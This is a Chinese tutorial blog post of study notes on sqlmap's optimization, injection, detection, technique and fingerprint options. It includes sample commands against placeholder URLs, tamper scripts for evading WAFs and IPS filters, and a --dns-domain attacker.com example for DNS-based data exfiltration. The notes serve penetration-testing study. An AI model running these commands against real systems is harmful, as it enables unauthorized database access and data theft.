kali渗透学习-sqlmap自动注入(三)Optimization,Injection,Detection,Techniques,Fingerprint类

Optimization
在这里插入图片描述
【优化性能参数,可提高效率】

-o:指定前三个参数(–predict-output、–keep-alive、–null-connection)

–predict-output:

根据检测方法,比岁返回值和统计表内容,不断缩小检测范围,提高检测效率

可检测的返回值:版本名、用户名、密码、Privaleges、role、数据库名称、表名、列名

与–threads参数不兼容

统计表:/usr/share/sqlmap/txt/common-outputs.txt

–keep-alive:【可避免出现异常连接很大的情况,而触发报警】

使用http(s)长连接,性能好

与–proxy参数不兼容

长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源

–null-connection:

只获取相应页面的大小值,而非页面具体内容

通常用于盲注判断 真/假,降低网络带宽消耗

与–text-only参数不兼容(基于页面内容的比较判断 真/假)

–threads:【默认情况下为1】

最大并发线程

盲注是每个线程获取一个字符(7次请求<–低位ASCII码),获取完成后线程结束

默认值为1,建议不要超过10,否则可能影响站点可用性

与–predict-output参数不兼容

Injection
在这里插入图片描述
-p:

指定扫描的参数,除了该参数,不探测其他参数,使–level失效

-p “User-Agent,referer”  #指定此两个参数
在这里插入图片描述
–skip:

排除指定的扫描参数

–level=5 --skip=“id,user-agent”

URI注入点:【若URL地址中变量的名称和值,都通过URL表示(看起来像目录),需要手动在变量后加一个星号作为标志】(URI与URL)

sqlmap -u “http://targeturl/value1*/param2/value2/”

##############################################################################

#伪静态页面,URL重写,实际上只是看起来像是一个静态页面【如何识别伪静态页面】

##############################################################################

–dbms:  【指定扫描服务器的数据库类型】

–ddbms=“mysql”
在这里插入图片描述
–os:

Linux/Windows

–invalid-bignum / --invalid-logical

通常sqlmap使用负数使参数取值失效,即id=13->id=13

bignum使用大数使参数值失效 id==99999999999

Logical使用布尔判断使取值失效 id=13 AND 18=19

–no-cast

榨取数据时,sqlmap将所有结果转换为字符串,并用空格代替NULL结果

在老版本mysql数据库需要开启此开关

–no-escape【sqlmap默认下几乎没有通过编码逃逸的配置】

出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串

###SELECT ‘foo’ --》SELECT CHAR(102)+CHAR(111)+CHAR(111)

本参数关闭此功能

–prefix / --suffix  【前缀/后缀】

$query = “SELECT * FROM users WHERE id=(’” . $_GET[’id’] . “’) LIMIT 0, 1”;

##如:sqlmap -u “http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1” -p id

–prefix “’)” --suffix "AND (’abc’=’abc“

query = "SELECT * FROM users WHERE id=(’1’) AND

(’abc’=’abc’) LIMIT 0, 1";

–tamper  【前提:发现扫描被过滤】

指定混淆脚本,同于绕过应用层过滤、IPS、WAF

sqlmap -u “http://dadad” –

#脚本位置:/usr/share.sqlmap/tamper  【可使用dpkg -L sqlmap | grep tam 筛选】

sqlmap -u “http://URL” --tamper=“tamper/between.py.tamper/randomcase.py.tamper/space2comment.py” -v 3  #【-v:显示详细信息】

Detection【检测】
在这里插入图片描述
–level

1-5级 (默认1)

/usr/share/sqlmap/xml/payloads

–risk

1-4 (默认1/无害)

Risk升高可造成数据被篡改等风险 (update)

–string,–not-string,–regexp,–code,–text-only,–titles 【指定根据返回的类型作为注入判断依据】

页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面岁时间刻度变化,此时需要认为指定标识真假的字符串

Techniques 【检测SQL注入存在的技术类型】
在这里插入图片描述
默认使用全部技术

B:Boolean-based blind

E:Error-based

U:Union query-based

S:Stacked queries (文件系统、操作系统、注册表时,必须使用)

T:Time-based Blind

–time-sec

基于时间的注入检测响应延迟时间(默认5秒)

–union-cols

默认联合查询1-10列,随–level增加最多支持50列

–union-clos 6-9

–union-char

联合查询默认使用NULL,极端情况下NULL可能失效,此时可手动指定数值

–union-char 123 【需事先对web application进行分析】

–dns-domain

场景:攻击者控制了某DNS服务器,使用此功能可以提高数据榨取速率

–dns-domain attacker.com

–second-order

在一个页面注入的结果,从另一个页面体现出来

–second-order http://1.1.1.1/b.php

Fingerprint【指纹信息】
在这里插入图片描述
-f,–fingerprint,-b,—banner

数据库管理系统指纹信息

DBMS,操作系统,架构,补丁

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值